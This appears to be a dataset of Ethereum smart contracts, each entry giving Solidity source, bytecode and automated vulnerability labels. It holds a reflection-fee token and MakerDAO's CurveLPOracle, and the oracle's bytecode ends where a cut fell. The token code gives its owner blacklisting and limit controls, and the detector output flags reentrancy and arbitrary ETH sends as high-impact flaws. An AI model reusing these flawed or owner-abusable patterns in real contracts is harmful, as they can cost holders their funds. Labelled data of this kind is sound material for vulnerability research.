isExcludedFromLimit[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function changeMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount;
}
function changeMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount;
}
function changeSwapThreshold(uint256 amount) public onlyOwner {
swapThreshold = amount;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function excludeFromLimits(address account, bool excluded) public onlyOwner {
isExcludedFromLimit[account] = excluded;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rReflect, tReflect);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate);
return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam);
}
function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tReflect = tAmount.mul(reflectFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam);
return (tTransferAmount, tReflect, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rReflect = tReflect.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam);
return (rAmount, rTransferAmount, rReflect);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf91461049b578063d94160e0146104b0578063dd62ed3e146104e0578063f42938901461052657600080fd5b8063b515566a1461043b578063c02466681461045b578063c0a904a21461047b57600080fd5b8063715018a61461037b57806381bfdcca1461039057806389f425e7146103b05780638da5cb5b146103d057806395d89b41146103ee578063a9059cbb1461041b57600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102eb5780635932ead11461031b578063677daa571461033b57806370a082311461035b57600080fd5b8063313ce5671461028257806349bd5a5e1461029e57806351bc3c85146102d657600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101f457806318160ddd1461022457806323b872dd14610240578063273123b71461026057600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b506040805180820190915260088152674f7a616920496e7560c01b60208201525b6040516101b19190611d01565b34801561020057600080fd5b5061021461020f366004611b92565b61053b565b60405190151581526020016101b1565b34801561023057600080fd5b50683635c9adc5dea000006101a7565b34801561024c57600080fd5b5061021461025b366004611b25565b610552565b34801561026c57600080fd5b5061028061027b366004611ab5565b6105bb565b005b34801561028e57600080fd5b50604051600981526020016101b1565b3480156102aa57600080fd5b506011546102be906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102e257600080fd5b5061028061060f565b3480156102f757600080fd5b50610214610306366004611ab5565b60056020526000908152604090205460ff1681565b34801561032757600080fd5b50610280610336366004611c84565b610648565b34801561034757600080fd5b50610280610356366004611cbc565b610690565b34801561036757600080fd5b506101a7610376366004611ab5565b6106bf565b34801561038757600080fd5b506102806106e1565b34801561039c57600080fd5b506102806103ab366004611cbc565b610755565b3480156103bc57600080fd5b506102806103cb366004611cbc565b610784565b3480156103dc57600080fd5b506000546001600160a01b03166102be565b3480156103fa57600080fd5b506040805180820190915260048152634f5a414960e01b60208201526101e7565b34801561042757600080fd5b50610214610436366004611b92565b6107b3565b34801561044757600080fd5b50610280610456366004611bbd565b6107c0565b34801561046757600080fd5b50610280610476366004611b65565b610864565b34801561048757600080fd5b50610280610496366004611b65565b6108b9565b3480156104a757600080fd5b5061028061090e565b3480156104bc57600080fd5b506102146104cb366004611ab5565b60066020526000908152604090205460ff1681565b3480156104ec57600080fd5b506101a76104fb366004611aed565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053257600080fd5b50610280610cf9565b6000610548338484610d23565b5060015b92915050565b600061055f848484610e47565b6105b184336105ac85604051806060016040528060288152602001611ed2602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061128d565b610d23565b5060019392505050565b6000546001600160a01b031633146105ee5760405162461bcd60e51b81526004016105e590611d54565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461062f57600080fd5b600061063a306106bf565b9050610645816112c7565b50565b6000546001600160a01b031633146106725760405162461bcd60e51b81526004016105e590611d54565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106ba5760405162461bcd60e51b81526004016105e590611d54565b601255565b6001600160a01b03811660009081526002602052604081205461054c9061146c565b6000546001600160a01b0316331461070b5760405162461bcd60e51b81526004016105e590611d54565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461077f5760405162461bcd60e51b81526004016105e590611d54565b601355565b6000546001600160a01b031633146107ae5760405162461bcd60e51b81526004016105e590611d54565b600b55565b6000610548338484610e47565b6000546001600160a01b031633146107ea5760405162461bcd60e51b81526004016105e590611d54565b60005b81518110156108605760016007600084848151811061081c57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085881611e67565b9150506107ed565b5050565b6000546001600160a01b0316331461088e5760405162461bcd60e51b81526004016105e590611d54565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108e35760405162461bcd60e51b81526004016105e590611d54565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109385760405162461bcd60e51b81526004016105e590611d54565b601154600160a01b900460ff16156109925760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105e5565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109cf3082683635c9adc5dea00000610d23565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0857600080fd5b505afa158015610a1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a409190611ad1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8857600080fd5b505afa158015610a9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac09190611ad1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b409190611ad1565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610ba4816106bf565b600080610bb96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c1c57600080fd5b505af1158015610c30573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c559190611cd4565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610cc157600080fd5b505af1158015610cd5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108609190611ca0565b600e546001600160a01b0316336001600160a01b031614610d1957600080fd5b47610645816114f0565b6001600160a01b038316610d855760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e5565b6001600160a01b038216610de65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e5565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eab5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e5565b6001600160a01b038216610f0d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e5565b80610f17846106bf565b1015610f745760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105e5565b6000546001600160a01b03848116911614801590610fa057506000546001600160a01b03838116911614155b1561127d576001600160a01b03831660009081526007602052604090205460ff16158015610fe757506001600160a01b03821660009081526007602052604090205460ff16155b610ff057600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061104957506011546001600160a01b03848116911614801561104957506001600160a01b03821660009081526006602052604090205460ff16155b156110b6576012548111156110b65760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105e5565b6001600160a01b03821660009081526006602052604090205460ff1661114f57601354816110e3846106bf565b6110ed9190611df9565b111561114f5760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105e5565b6011546001600160a01b03848116911614801561117a57506010546001600160a01b03838116911614155b801561119f57506001600160a01b03821660009081526005602052604090205460ff16155b80156111b45750601154600160b81b900460ff165b15611202576001600160a01b03821660009081526008602052604090205442116111dd57600080fd5b6111e842603c611df9565b6001600160a01b0383166000908152600860205260409020555b600061120d306106bf565b601154909150600160a81b900460ff1615801561123857506011546001600160a01b03858116911614155b801561124d5750601154600160b01b900460ff165b801561125b5750600b548110155b1561127b57611269816112c7565b47801561127957611279476114f0565b505b505b611288838383611575565b505050565b600081848411156112b15760405162461bcd60e51b81526004016105e59190611d01565b5060006112be8486611e50565b95945050505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061131d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137157600080fd5b505afa158015611385573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a99190611ad1565b816001815181106113ca57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113f09130911684610d23565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611429908590600090869030904290600401611d89565b600060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60006009548211156114d35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e5565b60006114dd611580565b90506114e983826115a3565b9392505050565b600e546001600160a01b03166108fc61150a8360026115a3565b6040518115909202916000818181858888f19350505050158015611532573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61154d8360026115a3565b6040518115909202916000818181858888f19350505050158015610860573d6000803e3d6000fd5b6112888383836115e5565b600080600061158d6117a5565b909250905061159c82826115a3565b9250505090565b60006114e983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117e7565b6000806000806000806115f787611815565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116299087611872565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061167457506001600160a01b03881660009081526005602052604090205460ff165b156116fd576001600160a01b03881660009081526002602052604090205461169c90876118b4565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f0908b815260200190565b60405180910390a361179a565b6001600160a01b03881660009081526002602052604090205461172090866118b4565b6001600160a01b03891660009081526002602052604090205561174281611913565b61174c848361195d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179191815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006117c182826115a3565b8210156117de57505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836118085760405162461bcd60e51b81526004016105e59190611d01565b5060006112be8486611e11565b60008060008060008060008060006118328a600c54600d54611981565b9250925092506000611842611580565b905060008060006118558e8787876119d6565b919e509c509a509598509396509194505050505091939550919395565b60006114e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061128d565b6000806118c18385611df9565b9050838110156114e95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e5565b600061191d611580565b9050600061192b8383611a26565b3060009081526002602052604090205490915061194890826118b4565b30600090815260026020526040902055505050565b60095461196a9083611872565b600955600a5461197a90826118b4565b600a555050565b600080808061199b60646119958989611a26565b906115a3565b905060006119ae60646119958a89611a26565b905060006119c6826119c08b86611872565b90611872565b9992985090965090945050505050565b60008080806119e58886611a26565b905060006119f38887611a26565b90506000611a018888611a26565b90506000611a13826119c08686611872565b939b939a50919850919650505050505050565b600082611a355750600061054c565b6000611a418385611e31565b905082611a4e8583611e11565b146114e95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e5565b8035611ab081611eae565b919050565b600060208284031215611ac6578081fd5b81356114e981611eae565b600060208284031215611ae2578081fd5b81516114e981611eae565b60008060408385031215611aff578081fd5b8235611b0a81611eae565b91506020830135611b1a81611eae565b809150509250929050565b600080600060608486031215611b39578081fd5b8335611b4481611eae565b92506020840135611b5481611eae565b929592945050506040919091013590565b60008060408385031215611b77578182fd5b8235611b8281611eae565b91506020830135611b1a81611ec3565b60008060408385031215611ba4578182fd5b8235611baf81611eae565b946020939093013593505050565b60006020808385031215611bcf578182fd5b823567ffffffffffffffff80821115611be6578384fd5b818501915085601f830112611bf9578384fd5b813581811115611c0b57611c0b611e98565b8060051b604051601f19603f83011681018181108582111715611c3057611c30611e98565b604052828152858101935084860182860187018a1015611c4e578788fd5b8795505b83861015611c7757611c6381611aa5565b855260019590950194938601938601611c52565b5098975050505050505050565b600060208284031215611c95578081fd5b81356114e981611ec3565b600060208284031215611cb1578081fd5b81516114e981611ec3565b600060208284031215611ccd578081fd5b5035919050565b600080600060608486031215611ce8578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d2d57858101830151858201604001528201611d11565b81811115611d3e5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611dd85784516001600160a01b031683529383019391830191600101611db3565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e0c57611e0c611e82565b500190565b600082611e2c57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e4b57611e4b611e82565b500290565b600082821015611e6257611e62611e82565b500390565b6000600019821415611e7b57611e7b611e82565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461064557600080fd5b801515811461064557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e2c69d9318f1cb754ed625cdb83a7727ebf0f21676efe5b47cddb2e505878a1664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,915 |
0x100db6699d58467a1099a193f43c5c1203a9edda
|
/**
*Submitted for verification at Etherscan.io on 2022-03-07
*/
// SPDX-License-Identifier: GPL-3.0-or-later
/// CurveLPOracle.sol
// Copyright (C) 2021 Dai Foundation
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.8.11;
interface AddressProviderLike {
function get_registry() external view returns (address);
}
interface CurveRegistryLike {
function get_n_coins(address) external view returns (uint256[2] calldata);
}
interface CurvePoolLike {
function coins(uint256) external view returns (address);
function get_virtual_price() external view returns (uint256);
}
interface OracleLike {
function read() external view returns (uint256);
}
contract CurveLPOracleFactory {
AddressProviderLike immutable ADDRESS_PROVIDER;
event NewCurveLPOracle(address owner, address orcl, bytes32 wat, address pool);
constructor(address addressProvider) {
ADDRESS_PROVIDER = AddressProviderLike(addressProvider);
}
function build(
address _owner,
address _pool,
bytes32 _wat,
address[] calldata _orbs
) external returns (address orcl) {
uint256 ncoins = CurveRegistryLike(ADDRESS_PROVIDER.get_registry()).get_n_coins(_pool)[1];
require(ncoins == _orbs.length, "CurveLPOracleFactory/wrong-num-of-orbs");
orcl = address(new CurveLPOracle(_owner, _pool, _wat, _orbs));
emit NewCurveLPOracle(_owner, orcl, _wat, _pool);
}
}
contract CurveLPOracle {
// --- Auth ---
mapping (address => uint256) public wards; // Addresses with admin authority
function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin
function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin
modifier auth {
require(wards[msg.sender] == 1, "CurveLPOracle/not-authorized");
_;
}
// stopped, hop, and zph are packed into single slot to reduce SLOADs;
// this outweighs the added bitmasking overhead.
uint8 public stopped; // Stop/start ability to update
uint16 public hop = 1 hours; // Minimum time in between price updates
uint232 public zph; // Time of last price update plus hop
// --- Whitelisting ---
mapping (address => uint256) public bud;
modifier toll { require(bud[msg.sender] == 1, "CurveLPOracle/not-whitelisted"); _; }
struct Feed {
uint128 val; // Price
uint128 has; // Is price valid
}
Feed internal cur; // Current price (storage slot 0x3)
Feed internal nxt; // Queued price (storage slot 0x4)
address[] public orbs; // array of price feeds for pool assets, same order as in the pool
address public immutable pool; // Address of underlying Curve pool
bytes32 public immutable wat; // Label of token whose price is being tracked
uint256 public immutable ncoins; // Number of tokens in underlying Curve pool
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event Stop();
event Start();
event Step(uint256 hop);
event Link(uint256 id, address orb);
event Value(uint128 curVal, uint128 nxtVal);
event Kiss(address a);
event Diss(address a);
// --- Init ---
constructor(address _ward, address _pool, bytes32 _wat, address[] memory _orbs) {
require(_pool != address(0), "CurveLPOracle/invalid-pool");
uint256 _ncoins = _orbs.length;
pool = _pool;
wat = _wat;
ncoins = _ncoins;
for (uint256 i = 0; i < _ncoins;) {
require(_orbs[i] != address(0), "CurveLPOracle/invalid-orb");
orbs.push(_orbs[i]);
unchecked { i++; }
}
require(_ward != address(0), "CurveLPOracle/ward-0");
wards[_ward] = 1;
emit Rely(_ward);
}
function stop() external auth {
stopped = 1;
delete cur;
delete nxt;
zph = 0;
emit Stop();
}
function start() external auth {
stopped = 0;
emit Start();
}
function step(uint16 _hop) external auth {
uint16 old = hop;
hop = _hop;
if (zph > old) { // if false, zph will be unset and no update is needed
zph = (zph - old) + _hop;
}
emit Step(_hop);
}
function link(uint256 _id, address _orb) external auth {
require(_orb != address(0), "CurveLPOracle/invalid-orb");
require(_id < ncoins, "CurveLPOracle/invalid-orb-index");
orbs[_id] = _orb;
emit Link(_id, _orb);
}
// For consistency with other oracles
function zzz() external view returns (uint256) {
if (zph == 0) return 0; // backwards compatibility
return zph - hop;
}
function pass() external view returns (bool) {
return block.timestamp >= zph;
}
// Marked payable to save gas. DO *NOT* send ETH to poke(), it will be lost permanently.
function poke() external payable {
// Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy.
uint256 hop_;
{
// Block-scoping these variables saves some gas.
uint256 stopped_;
uint256 zph_;
assembly {
let slot1 := sload(1)
stopped_ := and(slot1, 0xff )
hop_ := and(shr(8, slot1), 0xffff)
zph_ := shr(24, slot1)
}
// When stopped, values are set to zero and should remain such; thus, disallow updating in that case.
require(stopped_ == 0, "CurveLPOracle/is-stopped");
// Equivalent to requiring that pass() returns true; logic repeated to save gas.
require(block.timestamp >= zph_, "CurveLPOracle/not-passed");
}
uint256 val = type(uint256).max;
for (uint256 i = 0; i < ncoins;) {
uint256 price = OracleLike(orbs[i]).read();
if (price < val) val = price;
unchecked { i++; }
}
val = val * CurvePoolLike(pool).get_virtual_price() / 10**18;
require(val != 0, "CurveLPOracle/zero-price");
require(val <= type(uint128).max, "CurveLPOracle/price-overflow");
Feed memory cur_ = nxt;
cur = cur_;
nxt = Feed(uint128(val), 1);
// The below is equivalent to:
// zph = block.timestamp + hop
// but ensures no extra SLOADs are performed.
//
// Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop)
// will not overflow (even a 232 bit value) for a very long time.
//
// Also, we know stopped was zero, so there is no need to account for it explicitly here.
assembly {
sstore(
1,
add(
shl(24, add(timestamp(), hop_)), // zph value starts 24 bits in
shl(8, hop_) // hop value starts 8 bits in
)
)
}
emit Value(cur_.val, uint128(val));
// Safe to terminate immediately since no postfix modifiers are applied.
assembly { stop() }
}
function peek() external view toll returns (bytes32,bool) {
return (bytes32(uint256(cur.val)), cur.has == 1);
}
function peep() external view toll returns (bytes32,bool) {
return (bytes32(uint256(nxt.val)), nxt.has == 1);
}
function read() external view toll returns (bytes32) {
require(cur.has == 1, "CurveLPOracle/no-current-value");
return (bytes32(uint256(cur.val)));
}
function kiss(address _a) external auth {
require(_a != address(0), "CurveLPOracle/no-contract-0");
bud[_a] = 1;
emit Kiss(_a);
}
function kiss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length;) {
require(_a[i] != address(0), "CurveLPOracle/no-contract-0");
bud[_a[i]] = 1;
emit Kiss(_a[i]);
unchecked { i++; }
}
}
function diss(address _a) external auth {
bud[_a] = 0;
emit Diss(_a);
}
function diss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length;) {
bud[_a[i]] = 0;
emit Diss(_a[i]);
unchecked { i++; }
}
}
}
|
0x6080604052600436106101965760003560e01c806365c4ce7a116100e1578063a7a1ed721161008a578063be9a655511610064578063be9a655514610517578063bf353dbb1461052c578063e38e2cfb14610559578063f29c29c41461057957600080fd5b8063a7a1ed7214610430578063a9c52a3914610479578063b0b8579b146104e457600080fd5b806397783a11116100bb57806397783a11146103db5780639c52a7f1146103fb578063a4dff0a21461041b57600080fd5b806365c4ce7a1461036f57806365fae35e1461038f57806375f12b21146103af57600080fd5b806346d4577d1161014357806357de26a41161011d57806357de26a41461032557806359e02dd71461033a57806365af79091461034f57600080fd5b806346d4577d146102a45780634ca29923146102c45780634fce7a2a146102f857600080fd5b80631817835811610174578063181783581461023a5780631b25b65f14610242578063371f8dae1461026257600080fd5b806307da68f51461019b5780630e5a6c70146101b257806316f0115b146101e1575b600080fd5b3480156101a757600080fd5b506101b0610599565b005b3480156101be57600080fd5b506101c761065c565b604080519283529015156020830152015b60405180910390f35b3480156101ed57600080fd5b506102157f000000000000000000000000dc24316b9ae028f1497c275eb9192a3ea0f6702281565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101d8565b6101b061070d565b34801561024e57600080fd5b506101b061025d366004611991565b610b49565b34801561026e57600080fd5b506102967f000000000000000000000000000000000000000000000000000000000000000281565b6040519081526020016101d8565b3480156102b057600080fd5b506101b06102bf366004611991565b610d45565b3480156102d057600080fd5b506102967f435256563145544853544554480000000000000000000000000000000000000081565b34801561030457600080fd5b50610296610313366004611a2f565b60026020526000908152604090205481565b34801561033157600080fd5b50610296610e95565b34801561034657600080fd5b506101c7610fb9565b34801561035b57600080fd5b506101b061036a366004611a51565b61106a565b34801561037b57600080fd5b506101b061038a366004611a2f565b611289565b34801561039b57600080fd5b506101b06103aa366004611a2f565b611362565b3480156103bb57600080fd5b506001546103c99060ff1681565b60405160ff90911681526020016101d8565b3480156103e757600080fd5b506102156103f6366004611a7d565b61142d565b34801561040757600080fd5b506101b0610416366004611a2f565b611464565b34801561042757600080fd5b5061029661152e565b34801561043c57600080fd5b50600154630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1642101560405190151581526020016101d8565b34801561048557600080fd5b506001546104b690630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681565b6040517cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90911681526020016101d8565b3480156104f057600080fd5b5060015461050490610100900461ffff1681565b60405161ffff90911681526020016101d8565b34801561052357600080fd5b506101b06115c4565b34801561053857600080fd5b50610296610547366004611a2f565b60006020819052908152604090205481565b34801561056557600080fd5b506101b0610574366004611a96565b611690565b34801561058557600080fd5b506101b0610594366004611a2f565b611841565b33600090815260208190526040902054600114610617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a65640000000060448201526064015b60405180910390fd5b6001805460006003819055600481905562ffff0090911682179091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b3360009081526002602052604081205481906001146106d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f43757276654c504f7261636c652f6e6f742d77686974656c6973746564000000604482015260640161060e565b50506004546fffffffffffffffffffffffffffffffff808216917001000000000000000000000000000000009004166001149091565b600154600881901c61ffff169060ff81169060181c811561078a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43757276654c504f7261636c652f69732d73746f707065640000000000000000604482015260640161060e565b804210156107f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43757276654c504f7261636c652f6e6f742d7061737365640000000000000000604482015260640161060e565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff905060005b7f00000000000000000000000000000000000000000000000000000000000000028110156109075760006005828154811061085857610858611aba565b60009182526020918290200154604080517f57de26a4000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216926357de26a4926004808401938290030181865afa1580156108cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f09190611ae9565b9050828110156108fe578092505b5060010161081b565b50670de0b6b3a76400007f000000000000000000000000dc24316b9ae028f1497c275eb9192a3ea0f6702273ffffffffffffffffffffffffffffffffffffffff1663bb7b8b806040518163ffffffff1660e01b8152600401602060405180830381865afa15801561097c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a09190611ae9565b6109aa9083611b31565b6109b49190611b6e565b905080610a1d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43757276654c504f7261636c652f7a65726f2d70726963650000000000000000604482015260640161060e565b6fffffffffffffffffffffffffffffffff811115610a97576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f70726963652d6f766572666c6f7700000000604482015260640161060e565b604080518082018252600480546fffffffffffffffffffffffffffffffff8082168085527001000000000000000000000000000000009283900482166020808701829052908402909117600355855180870187528783168082526001918301829052938417909455600888901b42890160181b0190935583518551911681529182015290917f80a5d0081d7e9a7bdb1